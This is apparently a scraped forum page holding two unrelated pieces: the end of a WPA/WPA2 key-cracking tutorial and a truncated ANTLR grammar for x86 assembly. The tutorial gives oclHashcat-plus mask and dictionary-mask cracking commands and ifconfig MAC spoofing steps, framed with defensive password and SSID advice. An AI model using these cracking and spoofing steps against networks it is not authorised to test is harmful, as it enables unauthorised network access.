a 9-character attack against my hccap file. oclHashcat-plus mask attack Start a mask attack against a WPA key with the following: General Form: cudaHashcat-plus64.exe -m 2500 -a 3 -1 mask hash_file variables for password length Example (BackTrack 5 R3): cudaHashcat-plus64.exe -m 2500 -a 3 -1 ?l?d Ch6-01.hccap ?1?1?1?1?1?1?1?1?1 What I'm doing here is assuming the passphrase will only contain lowercase letters and numbers, which is a good guess for a start. I'm setting up the keyspace of the mask using ?l for lowercase letters and ?d for numbers. I'm then telling oclHashcat-plus to try every combination of that for a 9-character passphrase. As you can imagine, that is going to go nowhere fast. In Figure 12 below you can see that a combination of only letter and numbers for a 9-character passphrase yields 101,559,956,668,416 combinations! With my GPU crunching through at 6039 combinations/second the estimated time to completion is greater than 10 years! Note that my GPU is nowhere near as powerful as many of the cracking systems out there today. Figure 12: oclHashcat mask attack So the mask attack didn't work well for even my easier password, gilbert28, and my full password was not in any of the wordlists I downloaded. My next step would be to do a mixed dictionary-mask attack, basically telling ocl-Hashcat-plus to go through the dictionary and brute force some numbers on the end. When I look at the downloaded wordlist, gilbert is in there. This would take several runs at the attack, starting with one number added to the end, then two, etc.. We know from several site password hacks over the years that many people simply use lowercase letters for their passwords and my gilbert28 is no exception, here is the crack: oclHashcat-plus mixed dictionary and mask attack Start a mixed dictionary and mask attack against a WPA key with the following: General Form: cudaHashcat-plus64.exe -m 2500 -a 6 hash_file dict_file mask Example (BackTrack 5 R3): cudaHashcat-plus64.exe -m 2500 -a 6 Ch6-01.hccap passwords2.txt ?d?d What this is doing is taking every word in our 172,746 word dictionary and adding every combination of 00-99 to the end Figure 13: oclHashcat dictionary and mask attack Success! oclHascat-plus cracked it in 43 minutes, going through 17,217,340 combinations before coming on to my password. But my password was easier than I realized. What about the classymoon359 that is the default password for my router? oclHashcat-plus does have a concept where words can be combined from one or more dictionaries. It also employs a nice set of rules that can make all sorts of substitutions for common seemingly clever things people do such as "3" for "E" or "$" for "S". What I found in many of the wordlists I downloaded however, was that many <6 letter words were not in the dictionary, probably due to the 8 character minimum for WPA. I have to think NETGEAR combined two shorter words for that very reason. Even when I combined dictionaries to combine words, the time estimate for the crack of classymoon359 was around 69 days, and that's with me "giving" the 359 for sake of demonstration, which is not reasonable. Adding those 3 characters to the end of two distinct words would make the crack time rise exponentially. I'll make the caveat here that I am in no way an expert with oclHashcat-plus—the exact opposite really. My hardware, although beefier than some, is definitely not cutting-edge or even modern. Your mileage may vary. WPA-PSK Security Myths Although not strictly related to WPA-PSK cracking, there are two security myths that deserve debunking. Myth 1: Disabling the SSID Broadcast Secures your WLAN "Cloaking" your SSID might sound good on the surface. But programs like Kismet that are capable of monitoring wireless network traffic are also able to "decloak" access points by listening to traffic between the clients and the access point. For Kismet, this process takes only a few minutes of relatively light network traffic. Disabling the SSID broadcast really makes it only slightly harder for potential attackers to connect to your AP (they now have to type the SSID instead of clicking on it). Myth 2: Filtering MAC Addresses Secures Your WLAN This idea again sounds good on the surface: limit the computers that can connect by their MAC addresses. There are two problems with this technique. 1) Physically maintaining the table of acceptable MAC addresses becomes more burdensome as your network grows. 2) MAC addresses can be easily spoofed. Chances are, if you are being attacked by someone who has the know-how to get past WPA, they will most likely spoof their MAC when they connect anyway, to avoid detection in your router's logs (by a possible failed MAC filter pass). Kismet, in particular, excels at this with its AP "clients" view which lists, among other things, client MAC addresses, which we see in Figure 14 below. Figure 14: Kismet Client List with MAC Addresses Spoofing your MAC address (in Linux) is as simple as this: bt ~ # ifconfig ath0 hw ether AA:BB:CC:DD:EE:FF bt ~ # ifconfig ath0 up bt ~ # ifconfig ath0 ath0 Link encap:Ethernet HWaddr AA:BB:CC:DD:EE:FF UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:26 errors:0 dropped:0 overruns:0 frame:0 TX packets:1 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1092 (1.0 KiB) TX bytes:590 (590.0 In Windows, a majority of network drivers also allow you to easily change MAC address. Figure 15: Windows MAC Address Configuration WPA-PSK Security Tips You now know how to break weak WPA-PSK keys. Now make sure that it doesn't happen to you by using two simple techniques. Tip #1: Use strong passphrases! Conventional wisdom says that the longer and more random the password, the better. But do you really need 64 character randomly-generated passphrases to be safe from being hacked? Dan Godin's article has a few factoids that are helpful to keep in mind as you decide how long and how random your password should be. Assuming an attack checks for all combinations of all 95 letters, numbers, and symbols available on a standard English-language keyboard and uses a desktop computer with an Intel Core i7 980x processor: Cracking a five character passphrase takes a few hours Six characters takes about a day Seven characters takes more than 10 days This Ethical Recruiting Alliance article provides another data point, this one assuming the use of a Radeon HD 7970 graphics processor ($400 - $500 typically) to speed up cracking: A five-character password can be cracked in five seconds. A six-character password can be cracked in seven seconds. A seven-character password may take 13 hours to crack. An eight-character password may take 57 days to crack. A nine-character password may take 15 years to crack. So now you know why more sites and services are requiring passwords of at least 8 characters using a mix of upper and lower case letters and numbers! It should be noted that those times are for a brute force scenario. As we showed in our examples, simple words can be cracked fairly quickly if they are in the dictionary or are a mutation of a dictionary word. Our nine-character password gilbert28 fell to our Nvidia 9800GT in less than an hour because of the dictionary attack. Using the word Password as your password would fall in seconds to most attackers. The key is combining words and padding your own combination of special characters to the end. Steve Gibson's GRC has two tools to help you with passwords. His Perfect Passwords "Ultra High Security Password Generator" will generate totally random 63/64 character passwords. Really safe, but impossible to remember. Perhaps more useful is Steve's Interactive Brute Force Password Search Space Calculator. This tool takes the opposite approach to the Generator, taking passwords you create and spitting back information about their complexity. If you use this tool, however, be sure to read the background information on the page so that you know what your test results mean! As for that "simple" classymoon359 password that stumped CloudCracker. Steve's tool reported that it would have taken 2.9 weeks to crack using a "Massive Cracking Array Scenario" running at 100 trillion guesses a second. But since CloudCracker runs best case at only 671 guesses/second, the "Online Attack Scenario" (1,000 guesses/second) results of 55.79 million centuries would be an better indication of how long an attacker would need unless he/she had a very optimized dictionary. It might seem counter-intuitive, but an easy to remember password of TimRouterHouseFatCat17### would take 7.66 hundred million trillion centuries to crack in a massive cracking array scenario. Whereas something seemingly complex like G8sloves$ could possibly be cracked in just under 2 hours. In the quest for more secure passwords, it's easy to make them harder to remember and less secure. Using these tips and tools will hopefully make the opposite true for you. After spending some time with the Calculator, you just might decide to update a few of your passwords! I know I did. Tip #2: Change your SSID from its default Since a WPA key is salted with the SSID, it makes sense to change your AP's SSID to render precomputed hash tables useless (assuming you change it to something non-obvious). This forces the attacker to start from square one by either generating a hash table or using just a straight dictionary attack. Conclusion So, now you know how crackers can attack wireless networks that use weak WPA / WPA2 PSK keys and the simple countermeasures that you can take to ensure that it doesn't happen to you. With a strong key and good security practices, a wireless LAN secured by WPA / WPA2 is definitely not an easy target. Sursa: How To Crack WPA / WPA2 (2012) - Security Myths, Tips, Conclusion - SmallNetBuilder

ANTLR grammar for parsing x86 instructions // ANTLR grammer for parsing x86 assembly instructions in a slightly modified MASM syntax. // // Copyright 2009 by Sebastian Porst (sp@porst.tv); visit http://www.the-interweb.com for updates. // // This grammar is licensed under the GPL. If you contact me I can re-license the grammar to // the zlib/libpng license depending on what you want to do with it. // // Unsupported: // - Many instructions // - All kinds of things that use memory segments/selectors // // Note: The main rule of this grammar is called "instruction" grammar x86; options { output = AST; } tokens { INSTRUCTION; PREFIX; MNEMONIC; OPERANDS; OPERAND; REGISTER_8; REGISTER_16; REGISTER_32; HEX_LITERAL_8; HEX_LITERAL_16; HEX_LITERAL_32; MEM_8; MEM_16; MEM_32; OPERATOR; } WS : (' '|'\n')+ {$channel=HIDDEN;} // Ignore whitespace ; HEX_DIGIT : '0' .. '9' | 'a' .. 'f' | 'A' .. 'F' ; // All 8 bit x86 registers reg8 : 'al' -> REGISTER_8["al"] | 'ah' -> REGISTER_8["ah"] | 'bl' -> REGISTER_8["bl"] | 'bh' -> REGISTER_8["bh"] | 'cl' -> REGISTER_8["cl"] | 'ch' -> REGISTER_8["ch"] | 'dl' -> REGISTER_8["dl"] | 'dh' -> REGISTER_8["dh"] ; // All 16 bit x86 registers reg16 : 'ax' -> REGISTER_16["ax"] | 'bx' -> REGISTER_16["bx"] | 'cx' -> REGISTER_16["cx"] | 'dx' -> REGISTER_16["dx"] | 'si' -> REGISTER_16["si"] | 'di' -> REGISTER_16["di"] | 'sp' -> REGISTER_16["sp"] | 'bp' -> REGISTER_16["bp"] ; // All 32 bit x86 registers reg32 : 'eax' -> REGISTER_32["eax"] | 'ebx' -> REGISTER_32["ebx"] | 'ecx' -> REGISTER_32["ecx"] | 'edx' -> REGISTER_32["edx"] | 'esi' -> REGISTER_32["esi"] | 'edi' -> REGISTER_32["edi"] | 'esp' -> REGISTER_32["esp"] | 'ebp' -> REGISTER_32["ebp"] ; // All x86 accumulator registers accumulator : 'al' -> REGISTER_8["al"] | 'ax' -> REGISTER_16["ax"] | 'eax' -> REGISTER_32["eax"] ; // 8 bits literals of the form XXh or 0xXX literal_8 : literal_8_digits 'h' -> literal_8_digits | '0x' literal_8_digits -> literal_8_digits ; literal_8_digits : a=HEX_DIGIT -> HEX_LITERAL_8[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_8[$a.text + $b.text] ; // 16 bits literals of the form XXXXh or 0xXXXX literal_16 : literal_16_digits 'h' -> literal_16_digits | '0x' literal_16_digits -> literal_16_digits ; literal_16_digits : a=HEX_DIGIT -> HEX_LITERAL_16[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text + $c.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT -> HEX_LITERAL_16[$a.text + $b.text + $c.text + $d.text] ; // 32 bits literals of the form XXXXXXXXh or 0xXXXXXXXX literal_32 : literal_32_digits 'h' -> literal_32_digits | '0x' literal_32_digits -> literal_32_digits ; literal_32_digits : a=HEX_DIGIT -> HEX_LITERAL_32[$a.text] | a=HEX_DIGIT b=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT g=HEX_DIGIT -> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text + $g.text] | a=HEX_DIGIT b=HEX_DIGIT c=HEX_DIGIT d=HEX_DIGIT e=HEX_DIGIT f=HEX_DIGIT g=HEX_DIGIT h=HEX_DIGIT-> HEX_LITERAL_32[$a.text + $b.text + $c.text + $d.text + $e.text + $f.text + $g.text + $h.text] ; // Register or memory access of size 8 bits regmem_8 : reg8 | mem8 ; // Register or memory access of size 16 bits regmem_16 : reg16 | mem16 ; // Register or memory access of size 32 bits regmem_32 : reg32 | mem32 ; // Register or memory access of any size regmem : regmem_8 | regmem_16 | regmem_32 ; // Possible operand types for binary instruction source operands of size 8 bits but without memory access simple_source_operand_8 : reg8 -> ^(OPERAND reg8) | literal_8 -> ^(OPERAND literal_8) ; // Possible operand types of binary instruction source operands of size 16 bits but without memory access simple_source_operand_16 : reg16 -> ^(OPERAND reg16) | literal_16 -> ^(OPERAND literal_16) ; // Possible operand types of binary instruction source operands of size 32 bits but without memory access simple_source_operand_32 : reg32 -> ^(OPERAND reg32) | literal_32 -> ^(OPERAND literal_32) ; // Possible operand types for binary instruction source operands of size 8 bits complex_source_operand_8 : complex_target_operand_8 | literal_8 -> ^(OPERAND literal_8) ; // Possible operand types for binary instruction source operands of size 16 bits complex_source_operand_16 : complex_target_operand_16 | literal_16 -> ^(OPERAND literal_16) ; // Possible operand types for binary instruction source operands of size 32 bits complex_source_operand_32 : complex_target_operand_32 | literal_32 -> ^(OPERAND literal_32) ; // Possible operand types of binary instruction target operands complex_target_operand : complex_target_operand_8 | complex_target_operand_16 | complex_target_operand_32 ; // Possible operand types of binary instruction target operands of size 8 bits complex_target_operand_8 : reg8 -> ^(OPERAND reg8) | mem8 -> ^(OPERAND mem8) ; // Possible operand types of binary instruction target operands of size 16 bits complex_target_operand_16 : reg16 -> ^(OPERAND reg16) | mem16 -> ^(OPERAND mem16) ; // Possible operand types of binary instruction target operands of size 32 bits complex_target_operand_32 : reg32 -> ^(OPERAND reg32) | mem32 -> ^(OPERAND mem32) ; // Accessing a byte from memory mem8 : 'byte' 'ptr' '[' memory_expression ']' -> ^(MEM_8 memory_expression) ; // Accessing a word from memory mem16 : 'word' 'ptr' '[' memory_expression ']' -> ^(MEM_16 memory_expression) ; // Accessing a dword from memory; the 'dword ptr' is optional here mem32 : ('dword' 'ptr')? '[' memory_expression ']' -> ^(MEM_32 memory_expression) ; // Used to build sub-expressions in memory access expressions additive_operand : '+' -> OPERATOR["+"] | '-' -> OPERATOR["-"] ; // The expression between the brackets when accessing memory memory_expression : simple_expression // mov eax, [0x1234] | mult_expression | simple_expression additive_operand simple_expression -> ^(additive_operand simple_expression simple_expression) // mov eax, [0x1234 + eax] | simple_expression additive_operand mult_expression -> ^(additive_operand simple_expression mult_expression) // mov eax, [0x1234 + x * y] | mult_expression additive_operand simple_expression -> ^(additive_operand mult_expression simple_expression) // mov eax, [x * y + 0x1234] | reg32 additive_operand mult_expression additive_operand literal_32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand mult_expression additive_operand reg32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand reg32 additive_operand literal_32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand literal_32 additive_operand reg32 -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | mult_expression additive_operand literal_32 additive_operand literal_32 -> ^(additive_operand ^(additive_operand literal_32 mult_expression) literal_32) | reg32 additive_operand literal_32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand reg32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand reg32 mult_expression) literal_32) | literal_32 additive_operand literal_32 additive_operand mult_expression -> ^(additive_operand ^(additive_operand literal_32 mult_expression) literal_32) ; // Multiplicative part of memory access expressions mult_expression : literal_32 '*' reg32 -> ^(OPERATOR["*"] literal_32 reg32) | reg32 '*' literal_32 -> ^(OPERATOR["*"] reg32 literal_32) ; simple_expression : reg32 | literal_32 ; // This is the main rule of the grammar. It can be used to parse a complete x86 instruction instruction : nullary_instruction -> ^(INSTRUCTION nullary_instruction) // Instructions without operands | unary_instruction -> ^(INSTRUCTION unary_instruction) // Instructions with one operand | binary_instruction -> ^(INSTRUCTION binary_instruction) // Instructions with two operands | arpl | bound | bit_scan_instructions // BSF, BSR | bswap | bit_test_instructions // BT, BTC, BTR, BTS | cmpxchg | enter | imul | in | int_instruction | branch_instructions // CALL, standard jumps | jcxz | lar | lds | lea | les | lfs | loop_instructions // LOOP, LOOPE, LOOPNE | mov_ex_instructions // MOVSX, MOVZX | out | push | rotate_instructions -> ^(INSTRUCTION rotate_instructions) // RCL, RCR, ROL, ROR, SHL, SHR, SAL, SAR | string_instructions -> ^(INSTRUCTION string_instructions) // REP X, REPE X, REPNE X | return_instructions -> ^(INSTRUCTION return_instructions) // RET, RETN, RETF | set_instructions -> ^(INSTRUCTION set_instructions) // SETCC | double_shift_instructions -> ^(INSTRUCTION double_shift_instructions) // SHRD, SHLD ; // Instructions without any operands nullary_instruction : 'aaa' -> MNEMONIC["aaa"] | 'aad' -> MNEMONIC["aad"] | 'aam' -> MNEMONIC["aam"] | 'aas' -> MNEMONIC["aas"] | 'cbw' -> MNEMONIC["cbw"] | 'cdq' -> MNEMONIC["csq"] | 'clc' -> MNEMONIC["clc"] | 'cld' -> MNEMONIC["cld"] | 'cli' -> MNEMONIC["cli"] | 'clts' -> MNEMONIC["clts"] | 'cmc' -> MNEMONIC["cmc"] | cmps_mnemonics | 'cwd' -> MNEMONIC["cwd"] | 'cwde' -> MNEMONIC["cwde"] | 'daa' -> MNEMONIC["daa"] | 'das' -> MNEMONIC["das"] | 'hlt' -> MNEMONIC["hlt"] | 'insw' -> MNEMONIC["insw"] | 'into' -> MNEMONIC["into"] | 'invd' -> MNEMONIC["invd"] | 'invlpg' -> MNEMONIC["invlpg"] | 'iret' -> MNEMONIC["iret"] | 'iretd' -> MNEMONIC["iretd"] | 'lahf' -> MNEMONIC["lahf"] | 'leave' -> MNEMONIC["leave"] | 'lock' -> MNEMONIC["lock"] | lods_mnemonics | movs_mnemonics | 'nop' -> MNEMONIC["nop"] | 'popad' -> MNEMONIC["popad"] | 'popaw' -> MNEMONIC["popaw"] | 'popfd' -> MNEMONIC["popfd"] | 'pushaw' -> MNEMONIC["pushaw"] | 'pushad' -> MNEMONIC["pushad"] | 'pushf' -> MNEMONIC["pushf"] | scas_mnemonics | stos_mnemonics | 'sahf' -> MNEMONIC["sahf"] | 'stc' -> MNEMONIC["stc"] | 'std' -> MNEMONIC["std"] | 'sti' -> MNEMONIC["sti"] | 'xlat' -> MNEMONIC["xlat"] ; // Instructions with a single operand and default operand options unary_instruction : unary_instruction_mnemonic complex_target_operand -> unary_instruction_mnemonic ^(OPERANDS complex_target_operand) ; unary_instruction_mnemonic : 'dec' -> MNEMONIC["dec"] | 'div' -> MNEMONIC["div"] | 'idiv' -> MNEMONIC["idiv"] | 'inc' -> MNEMONIC["inc"] | 'mul' -> MNEMONIC["mul"] | 'neg' -> MNEMONIC["neg"] | 'not' -> MNEMONIC["not"] | 'pop' -> MNEMONIC["pop"] ; // Instructions with two operands and default operand options binary_instruction : binary_instruction_mnemonic binary_operand -> binary_instruction_mnemonic binary_operand ; // Mnemonics of all binary instructions with default operand options binary_instruction_mnemonic : 'adc' -> MNEMONIC["adc"] | 'add' -> MNEMONIC["add"] | 'and' -> MNEMONIC["and"] | 'cmp' -> MNEMONIC["cmp"] | 'mov' -> MNEMONIC["mov"] | 'or' -> MNEMONIC["or"] | 'sbb' -> MNEMONIC["sbb"] | 'sub' -> MNEMONIC["sub"] | 'test' -> MNEMONIC["test"] | 'xchg' -> MNEMONIC["xchg"] | 'xor' -> MNEMONIC["xor"] ; // Defines the default behaviour of binary instruction operands. // The target operand can be either a register or a memory address, // the source operand can be a register, a memory address, or an // integer literal. // It is not possible to have both the source operand and the // target operand access memory. binary_operand : | reg8 ',' complex_source_operand_8 -> ^(OPERANDS ^(OPERAND reg8) complex_source_operand_8) | mem8 ',' simple_source_operand_8 -> ^(OPERANDS ^(OPERAND mem8) simple_source_operand_8) | reg16 ',' complex_source_operand_16 -> ^(OPERANDS ^(OPERAND reg16) complex_source_operand_16) | mem16 ',' simple_source_operand_16 -> ^(OPERANDS ^(OPERAND mem16) simple_source_operand_16) | reg32 ',' complex_source_operand_32 -> ^(OPERANDS ^(OPERAND reg32) complex_source_operand_32) | mem32 ',' simple_source_operand_32 -> ^(OPERANDS ^(OPERAND mem32) simple_source_operand_32) ; arpl : 'arpl' reg16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["arpl"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16))) | 'arpl' mem16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["arpl"] ^(OPERANDS ^(OPERAND mem16) ^(OPERAND reg16))) ; bound : 'bound' reg16 ',' mem32 -> ^(INSTRUCTION MNEMONIC["bound"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem32))) | 'bound' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["bound"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; bit_scan_instructions : bit_scan_mnemonic reg16 ',' reg16 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16))) | bit_scan_mnemonic reg16 ',' mem16 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem16))) | bit_scan_mnemonic reg32 ',' reg32 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERAND reg32))) | bit_scan_mnemonic reg32 ',' mem32 -> ^(INSTRUCTION bit_scan_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; bit_scan_mnemonic : 'bsf' -> MNEMONIC["bsf"] | 'bsr' -> MNEMONIC["bsr"] ; bswap : 'bswap' reg32 -> ^(INSTRUCTION MNEMONIC["bswap"] ^(OPERANDS ^(OPERAND reg32))) ; bit_test_instructions : bit_test_mnemonic bit_test_operands -> ^(INSTRUCTION bit_test_mnemonic bit_test_operands) ; bit_test_mnemonic : 'bt' -> MNEMONIC["bt"] | 'btc' -> MNEMONIC["btc"] | 'btr' -> MNEMONIC["btr"] | 'bts' -> MNEMONIC["bts"] ; bit_test_operands : reg16 ',' reg16 -> ^(OPERANDS ^(OPERAND reg16) ^(OPERAND reg16)) | mem16 ',' reg16 -> ^(OPERANDS ^(OPERAND mem16) ^(OPERAND reg16)) | reg16 ',' literal_8 -> ^(OPERANDS ^(OPERAND reg16) ^(OPERAND literal_8)) | mem16 ',' literal_8 -> ^(OPERANDS ^(OPERAND mem16) ^(OPERAND literal_8)) | reg32 ',' reg32 -> ^(OPERANDS ^(OPERAND reg32) ^(OPERAND reg32)) | mem32 ',' reg32 -> ^(OPERANDS ^(OPERAND mem32) ^(OPERAND reg32)) | reg32 ',' literal_8 -> ^(OPERANDS ^(OPERAND reg32) ^(OPERAND literal_8)) | mem32 ',' literal_8 -> ^(OPERANDS ^(OPERAND mem32) ^(OPERAND literal_8)) ; cmpxchg : 'cmpxchg' regmem_8 ',' reg8 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_8) ^(OPERAND reg8))) | 'cmpxchg' regmem_16 ',' reg16 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_16) ^(OPERAND reg16))) | 'cmpxchg' regmem_32 ',' reg32 -> ^(INSTRUCTION MNEMONIC["cmpxchg"] ^(OPERANDS ^(OPERAND regmem_32) ^(OPERAND reg32))) ; enter : 'enter' literal_16 ',' literal_8 -> ^(INSTRUCTION MNEMONIC["enter"] ^(OPERANDS ^(OPERAND literal_16) ^(OPERAND literal_8))) ; imul : 'imul' mem32 -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS ^(OPERAND mem32))) | 'imul' imul_first_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value)) | 'imul' imul_first_value ',' imul_second_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value imul_second_value)) | 'imul' imul_first_value ',' imul_second_value ',' imul_third_value -> ^(INSTRUCTION MNEMONIC["imul"] ^(OPERANDS imul_first_value imul_second_value imul_third_value)) ; imul_first_value : reg16 -> ^(OPERAND reg16) | reg32 -> ^(OPERAND reg32) ; imul_second_value : regmem_16 -> ^(OPERAND regmem_16) | regmem_32 -> ^(OPERAND regmem_32) | literal_32 -> ^(OPERAND literal_32) ; imul_third_value : literal_32 -> ^(OPERAND literal_32) ; in : 'in' accumulator ',' literal_8 -> ^(INSTRUCTION MNEMONIC["in"] ^(OPERANDS ^(OPERAND accumulator) ^(OPERAND literal_8))) | 'in' accumulator ',' 'dx' -> ^(INSTRUCTION MNEMONIC["in"] ^(OPERANDS ^(OPERAND accumulator) ^(OPERAND REGISTER_16["dx"]))) ; int_instruction : 'int' literal_8 -> ^(INSTRUCTION MNEMONIC["int"] ^(OPERANDS ^(OPERAND literal_8))) ; branch_instructions : branch_mnemonic complex_source_operand_32 -> ^(INSTRUCTION branch_mnemonic ^(OPERANDS complex_source_operand_32)) ; branch_mnemonic : 'call' -> MNEMONIC["call"] | 'ja' -> MNEMONIC["ja"] | 'jae' -> MNEMONIC["jae"] | 'jb' -> MNEMONIC["jb"] | 'jbe' -> MNEMONIC["jbe"] | 'jc' -> MNEMONIC["jc"] | 'je' -> MNEMONIC["je"] | 'jg' -> MNEMONIC["jg"] | 'jge' -> MNEMONIC["jge"] | 'jl' -> MNEMONIC["jl"] | 'jle' -> MNEMONIC["jle"] | 'jmp' -> MNEMONIC["jmp"] | 'jna' -> MNEMONIC["jna"] | 'jnae' -> MNEMONIC["jnae"] | 'jnb' -> MNEMONIC["jnb"] | 'jnbe' -> MNEMONIC["jnbe"] | 'jnc' -> MNEMONIC["jnc"] | 'jne' -> MNEMONIC["jne"] | 'jng' -> MNEMONIC["jng"] | 'jnge' -> MNEMONIC["jnge"] | 'jnl' -> MNEMONIC["jnl"] | 'jnle' -> MNEMONIC["jnle"] | 'jno' -> MNEMONIC["jno"] | 'jnp' -> MNEMONIC["jnp"] | 'jns' -> MNEMONIC["jns"] | 'jnz' -> MNEMONIC["jnz"] | 'jo' -> MNEMONIC["jo"] | 'jp' -> MNEMONIC["jp"] | 'jpe' -> MNEMONIC["jpe"] | 'jpo' -> MNEMONIC["jpo"] | 'js' -> MNEMONIC["js"] | 'jz' -> MNEMONIC["jz"] ; jcxz : 'jcxz' literal_32 -> ^(INSTRUCTION MNEMONIC["jcxz"] ^(OPERANDS ^(OPERAND literal_32))) | 'jecxz' literal_32 -> ^(INSTRUCTION MNEMONIC["jecxz"] ^(OPERANDS ^(OPERAND literal_32))) ; lar : 'lar' reg16 ',' regmem_16 -> ^(INSTRUCTION MNEMONIC["lar"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND regmem_16))) | 'lar' reg32 ',' regmem_32 -> ^(INSTRUCTION MNEMONIC["lar"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND regmem_32))) ; lds : 'lds' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lds"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lea : 'lea' reg16 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lea"] ^(OPERANDS ^(OPERAND reg16) ^(OPERAND mem32))) | 'lea' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lea"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; les : 'les' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["les"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lfs : 'lfs' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lfs"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; lgs : 'lgs' reg32 ',' mem32 -> ^(INSTRUCTION MNEMONIC["lgs"] ^(OPERANDS ^(OPERAND reg32) ^(OPERAND mem32))) ; loop_instructions : loop_mnemonic literal_32 -> ^(INSTRUCTION loop_mnemonic ^(OPERANDS ^(OPERAND literal_32))) ; loop_mnemonic : 'loop' -> MNEMONIC["loop"] | 'loope' -> MNEMONIC["loope"] | 'loopz' -> MNEMONIC["loopz"] | 'loopne' -> MNEMONIC["loopne"] | 'loopnz' -> MNEMONIC["loopnz"] ; mov_ex_instructions : mov_ex_mnemonic reg16 ',' regmem_8 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg16) ^(OPERANDS regmem_8))) | mov_ex_mnemonic reg32 ',' regmem_8 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERANDS regmem_8))) | mov_ex_mnemonic reg32 ',' regmem_16 -> ^(INSTRUCTION mov_ex_mnemonic ^(OPERANDS ^(OPERAND reg32) ^(OPERANDS regmem_16))) ; mov_ex_mnemonic : 'movsx' -> MNEMONIC["movsx"] | 'movzx' -> MNEMONIC["movzx"] ; out : 'out' literal_8 ',' accumulator -> ^(INSTRUCTION MNEMONIC["out"] ^(OPERANDS ^(OPERAND literal_8) ^(OPERAND accumulator))) | 'out' 'dx' ',' accumulator -> ^(INSTRUCTION MNEMONIC["out"] ^(OPERANDS ^(OPERAND REGISTER_16["dx"]) ^(OPERAND accumulator))) ; push : 'push' complex_target_operand_16 -> ^(INSTRUCTION MNEMONIC["push"] ^(OPERANDS complex_target_operand_16)) | 'push' complex_source_operand_32 -> ^(INSTRUCTION MNEMONIC["push"] ^(OPERANDS complex_source_operand_32)) ; rotate_instructions : rotate_mnemonic regmem ',' literal_8 -> rotate_mnemonic ^(OPERANDS ^(OPERAND regmem) ^(OPERAND literal_8)) | rotate_mnemonic regmem ',' 'cl' -> rotate_mnemonic ^(OPERANDS ^(OPERAND regmem) ^(OPERAND REGISTER_8["cl"])) ; rotate_mnemonic : 'rcl' -> MNEMONIC["rcl"] | 'rcr' -> MNEMONIC["rcr"] | 'rol' -> MNEMONIC["rol"] | 'ror' -> MNEMONIC["ror"] | 'sal' -> MNEMONIC["sal"] | 'sar' -> MNEMONIC["sar"] | 'shl' -> MNEMONIC["shl"] | 'shr' -> MNEMONIC["shr"] ; string_instructions : rep_instructions | repe_instructions ; rep_instructions : 'rep' rep_instruction_mnemonics -> ^(PREFIX["rep"] rep_instruction_mnemonics) ; repe_instructions : 'repe' repe_instruction_mnemonics -> ^(PREFIX["repe"] repe_instruction_mnemonics) | 'repne' repe_instruction_mnemonics -> 